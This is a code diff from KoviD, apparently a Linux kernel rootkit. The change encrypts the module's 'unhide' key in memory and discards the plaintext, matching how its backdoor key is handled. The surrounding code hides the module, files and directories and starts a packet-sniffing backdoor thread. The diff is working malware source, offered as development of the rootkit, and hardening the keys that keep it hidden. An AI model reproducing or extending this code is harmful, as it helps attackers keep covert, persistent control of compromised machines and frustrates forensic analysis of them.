Kvdev

src/crypto.c

@@ -17,24 +17,25 @@ static struct crypto_skcipher *tfm;
  * Must be called once from KoviD initialization
  */
 #define ENCKEY_LEN 32 /** aes 256 */
-int kv_crypto_key_init(void)
+
+int kv_crypto_init(void)
 {
-	static char key[ENCKEY_LEN] = { 0 };
-	int rc;
+	static char key[ENCKEY_LEN] = {0};
+	int rc = -1;
 
 	/** Allocate AES-CBC */
 	if (!crypto_has_skcipher("cbc(aes)", 0, 0)) {
 		prerr("Cipher not found\n");
-		return 0;
+		return rc;
 	}
 
 	/** Allocate for transformation
-     * Shared across all instances
-     */
+	 * Shared across all instances
+	 */
 	tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0);
 	if (IS_ERR(tfm)) {
 		prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm));
-		return 0;
+		return rc;
 	}
 
 	get_random_bytes(key, ENCKEY_LEN);
@@ -44,7 +45,6 @@ int kv_crypto_key_init(void)
 	if (rc < 0) {
 		prerr("Key init error %d\n", rc);
 		crypto_free_skcipher(tfm);
-		return 0;
 	}
 
 	return rc;

src/kovid.c

@@ -67,6 +67,7 @@ struct __lkmmod_t {
 };
 static DEFINE_MUTEX(prc_mtx);
 static DEFINE_SPINLOCK(elfbits_spin);
+static struct kv_crypto_st *kvmgc_unhidekey;
 
 /** gcc  - fuck 32 bits shit (for now!) */
 #ifndef __x86_64__
@@ -483,12 +484,27 @@ static const match_table_t tokens = {
 	{ Opt_unknown, NULL }
 };
 
+struct check_unhidekey_t {
+    bool ok;
+    uint64_t address_value;
+};
+
+void _unhidekey_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) {
+    struct check_unhidekey_t *validate = (struct check_unhidekey_t*)userdata;
+    if (validate && validate->address_value) {
+        if (validate->address_value == *((uint64_t*)buf))
+            validate->ok = true;
+    }
+}
+
 #define CMD_MAXLEN 128
 static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size,
 			loff_t *offset)
 {
+
 	pid_t pid;
 	char param[CMD_MAXLEN + 1] = { 0 };
+	decrypt_callback cbkey = (decrypt_callback)_unhidekey_callback;
 
 	if (copy_from_user(param, user, CMD_MAXLEN))
 		return -EFAULT;
@@ -522,11 +538,16 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size,
 			kv_hide_mod();
 			break;
 		case Opt_unhide_module: {
-			uint64_t val;
-			if ((sscanf(args[0].from, "%llx", &val) == 1) &&
-			    auto_unhidekey == val) {
-				kv_unhide_mod();
-			}
+				uint64_t address_value = 0;
+				struct check_unhidekey_t validate = {0};
+
+				if ((sscanf(args[0].from, "%llx", &address_value) == 1)) {
+					validate.address_value = address_value;
+					kv_decrypt(kvmgc_unhidekey, cbkey, &validate);
+					if (validate.ok == true) {
+						kv_unhide_mod();
+					}
+				}
 		} break;
 		case Opt_hide_file:
 		case Opt_hide_directory: {
@@ -561,9 +582,9 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size,
 		case Opt_unhide_directory:
 			fs_del_name(args[0].from);
 			break;
-			/* Currently, directories must
-                 * be added individually: use hide-directory
-                 * */
+			/** Currently, directories must
+			* be added individually: use hide-directory
+			*/
 		case Opt_hide_file_anywhere:
 			fs_add_name_rw(args[0].from, 0);
 			break;
@@ -836,12 +857,26 @@ static int __init kv_init(void)
 #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 17, 0)
 cont:
 #endif
-	/** Init crypto engine */
-	if (kv_crypto_key_init() < 0) {
+    /** Init crypto engine */
+	if (kv_crypto_init() < 0) {
 		prerr("Failed to initialise crypto engine\n");
-		goto crypto_error;
+		goto unroll_init;
+	}
+
+	if (!(kvmgc_unhidekey = crypto_init())) {
+		prerr("Failed to encrypt unhidekey\n");
+		kv_crypto_deinit();
+		goto unroll_init;
 	}
 
+	size_t datalen = 16;
+	u8 buf[16] = {0};
+	memcpy(buf, &auto_unhidekey, 8);
+	kv_encrypt(kvmgc_unhidekey, buf, datalen);
+
+	/** discard saved key */
+	auto_unhidekey = 0;
+
 	tsk_sniff = kv_sock_start_sniff();
 	if (!tsk_sniff)
 		goto unroll_init;

src/lkm.h

@@ -86,7 +86,7 @@ struct kernel_syscalls {
 typedef void (*decrypt_callback)(const u8 *const buf, size_t buflen,
 				 size_t copied, void *userdata);
 /** Setup crypto module */
-int kv_crypto_key_init(void);
+int kv_crypto_init(void);
 struct kv_crypto_st *crypto_init(void);
 size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t);
 size_t kv_decrypt(struct kv_crypto_st *, decrypt_callback, void *userdata);

src/sock.c

@@ -619,22 +619,25 @@ struct task_struct *kv_sock_start_sniff(void)
 	struct task_struct *tsk = NULL;
 
 	/**
-     * Init bdkey enc
-     */
+	 * Init bdkey enc
+	 */
 	kvmgc_bdkey = crypto_init();
-	if (kvmgc_bdkey) {
-		/** for the aes-256, 16 bytes
-         * is minimum data size
-         */
-		size_t datalen = 16;
-		u8 buf[16] = { 0 };
-		memcpy(buf, &auto_bdkey, 8);
-		kv_encrypt(kvmgc_bdkey, buf, datalen);
-
-		/** discard saved key */
-		auto_bdkey = 0;
+	if (!kvmgc_bdkey) {
+		prerr("Failed to encrypt bdkey\n");
+		goto leave;
 	}
 
+	/** for the aes-256, 16 bytes
+	 * is minimum data size
+	 */
+	size_t datalen = 16;
+	u8 buf[16] = {0};
+	memcpy(buf, &auto_bdkey, 8);
+	kv_encrypt(kvmgc_bdkey, buf, datalen);
+
+	/** discard saved key */
+	auto_bdkey = 0;
+
 	// load sniffer
 	if (!*running) {
 		// Hook pre routing
@@ -652,7 +655,7 @@ struct task_struct *kv_sock_start_sniff(void)
 			goto leave;
 
 		tsk_iph = kthread_run(_bd_watchdog_iph, NULL,
-				      THREAD_SNIFFER_NAME);
+				THREAD_SNIFFER_NAME);
 		if (!tsk_iph) {
 			kthread_stop(tsk);
 			goto leave;